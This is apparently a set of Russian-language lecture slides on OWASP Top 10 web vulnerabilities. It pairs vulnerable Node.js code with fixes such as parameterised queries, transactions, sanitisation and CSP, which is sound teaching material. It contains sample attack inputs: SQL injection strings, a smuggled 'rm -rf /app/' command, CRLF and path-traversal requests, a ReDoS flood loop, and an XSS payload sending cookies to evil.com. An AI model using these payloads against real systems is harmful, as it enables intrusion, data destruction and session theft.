OWASP Top 10
GET https://my-awesome-site.ru/admin
GET https://my-awesome-site.ru/aliSFla1434snf
Чаще всего такая функциональность может быть скомпрометирована
GET https://online-shop.ru/payment/step/1
GET https://online-shop.ru/payment/step/2
GET https://online-shop.ru/payment/step/3
GET https://online-shop.ru/payment/step/4
GET https://disk.yandex.ru/client/1028379420
GET https://disk.yandex.ru/client/123
GET https://disk.yandex.ru/client/1028379420
GET https://disk.yandex.ru/client/123
Есть возможность получить данные другого пользователя
const { id } = req.query;
const sql = `SELECT * FROM adventures WHERE id='${id}';`;
GET /adventures?id=123
SELECT * FROM adventures WHERE id='123';
GET /adventures?id=123
GET /adventures?id=123' or '1'='1
SELECT * FROM adventures WHERE id='123' or '1'='1';
GET /adventures?id=123%27%20or%20%271%27=%271
const { name } = req.body;
const escaped = name.replace('\'', '\'\'');
const sql = `
SELECT * FROM adventures WHERE name='${escaped}';
`;
Работает только в частном случае
PREPARE findAdventure (text) AS
SELECT * FROM adventures WHERE name = $1;
EXECUTE findAdventure('magic');
const { name } = req.body;
sequelize
.query('SELECT * FROM adventures WHERE name = :name', {
replacements: { name },
type: sequelize.QueryTypes.SELECT
})
.then(adventures => res.send(adventures));
import { exec } from 'child_process';
const { repo, name } = req.body;
exec(`git clone ${repo}`);
exec(`cd ${name}`);
exec('npm install');
exec('npm test');
POST /hook{ repo: 'https://github.com/urfu-2019/telltail.git', name: 'telltail' }
import { exec } from 'child_process';
const { repo, name } = req.body;
exec(`git clone ${repo}`); // 🤔
exec(`cd ${name}`); // 🤔
exec('npm install');
exec('npm test');
POST /hook{ repo: 'https://github.com/urfu-2019/telltail.git', name: 'telltail' }
POST /hook{ repo: 'https://github.com/urfu-2019/telltail.git', name: 'telltail && sudo rm -rf /app/' }
exec('cd telltail && sudo rm -rf /app/')
POST /hook{ repo: 'https://github.com/urfu-2019/telltail.git', name: 'telltail && sudo rm -rf /app/' }
exec('cd telltail && sudo rm -rf /app/')
Проксируем запрос в бэкенд
CR === '\r' === String.fromCharCode(0x0d)
LF === '\n' === String.fromCharCode(0x0a)
GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1
GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1
HTTP/1.1 302\r\n
Location: /home\r\n
Set-Cookie: login=admin\r\n
GET /path?redirect=home%0D%0ASet-Cookie:%20login%3Dadmin HTTP/1.1
HTTP/1.1 302\r\n
Location: /home\r\n
Set-Cookie: login=admin\r\n
GET /handle?payload=1%26login=admin
GET /handle?payload=1&login=admin&login=user
GET /handle?payload=1%26login=admin
GET /handle?payload=1&login=admin&login=user
Инъекция в GET-параметре payload
GET /handler?filename=image.jpg
GET /handler?filename=../../../../../etc/passwd
VolgaCTF 2019 Quals
Галерея, написана на node.js
Использовался session-file-store
С помощью directory listing скачали config с секретным ключом

Там же есть API, читающее файлы, с path traversal
Рядом лежал код админки с сохраненной сессией

ID сессии — это имя файла
Создаем куку с ID=
../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM
Подписываем куку украденным ключом
Забираем флаг

const { code } = req.body;
const isValid = await PromoCode.validate(code);
if (!isValid) {
return;
}
await PromoCode.activate(code);
await PromoCode.markAsUsed(code);
const { code } = req.body;
const isValid = await PromoCode.validate(code);
if (!isValid) {
return;
}
await PromoCode.activate(code);
await PromoCode.markAsUsed(code); // ⏰
Нужно использовать транзакции
| User | Password |
|---|---|
| user1 | qwertyuiop |
| User | Password |
|---|---|
| user1 | hash('qwertyuiop') |
| User | Password |
|---|---|
| user1 | hash('qwertyuiop'+salt) |
| User | Salt | Password |
|---|---|---|
| user1 | secret | hash('qwertyuiop'+salt) |
RuCTF 2019
Следующая кука = MD5 от предудыщей
Volga CTF 2019 Finals
Выход функции длиной 5-6 символов
Можем легко перебрать ключ
const { text } = req.body;
const regex = /^https?:\/\/\w+@\w+\.\w+$/;
const isValidEmail = Boolean(text.match(regex));
const statusCode = isValidEmail ? 200 : 400;
res.sendStatus(statusCode);
const { text } = req.body;
const regex = /^https?:\/\/\w+@\w+\.\w+$/;
const isValidEmail = Boolean(text.match(regex)); // ⚠️
const statusCode = isValidEmail ? 200 : 400;
res.sendStatus(statusCode);
const isValidEmail = Boolean(text.match(regex));
while (true); do
curl $URL -d '{ text: $(cat "Война и мир.txt") }';
done
Origin = scheme + domain + port
http://a.yandex.ru/dir1
http://a.yandex.ru/dir1/dir2
https://a.yandex.ru/dir1
http://a.yandex.ru:8080/dir1
http://b.yandex.ru/dir1
Set-Cookie: id=1111; Path=/admin/
Set-Cookie: id=2222; Path=/; Domain=my.example.com
Set-Cookie: id=3333; Path=/; Http-Only; secure
Set-Cookie: id=1111; Path=/admin/
Set-Cookie: id=2222; Path=/; Domain=my.example.com
Set-Cookie: id=3333; Path=/; Http-Only; secure
Http-Only - кука не доступна из JS
Secure - кука передаётся только по HTTPS
GET /handler/ HTTP/1.1
Host: myawesomedomain.com
Origin: https://attacker.com
Cookie: session=123
HTTP/1.0 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
GET /form HTTP/1.1
Host: vulnerable.com
HTTP/1.1 200 OK
Set-Cookie: crsf-token=keyboard-cat
POST /modify HTTP/1.0
Host: vulnerable.com
X-CSRF-Token: keyboard-cat
http://example.com/search.php?q=<script>DoSomething();</script>
<script>document.location="http://evil.com/?"+document.cookie</script> <textarea id="textarea" type="text"></textarea>
<button id="button">Сохранить</button>
<div id="result"></div>
<script>
button.addEventListener('click', function () {
result.innerHTML = textarea.value;
});
<script>
Пользователь написал в 25 апреля в 17:45
import sanitizeHtml from 'sanitize-html';
const evilHtml = `
<p style="background-image: url('attacker.com')">
Hello, world!
</p>
<script>alert(document.cookie);</script>
`;
const kindHtml = sanitizeHtml(evilHtml, {
allowedTags: ['a', 'p', 'div'],
allowedAttributes: { a: ['href'] }
});
// Hello, world!
Content-Security-Policy:
default-src 'self';
img-src *;
script-src trusted.com;
Content-Security-Policy:
media-src https://yandex.ru
Content-Security-Policy:
media-src https://yandex.ru
<iframe src="https://vk.com">
</iframe>
Click to WIN!
X-Frame-Options: SAMEORIGIN
X-Frame-Options: DENY
X-Frame-Options: ALLOW-FROM http://trusted.com
X-Frame-Options: SAMEORIGIN
X-Frame-Options: DENY
X-Frame-Options: ALLOW-FROM http://trusted.com
* Но есть директива CSP frame-ancestors
npm audit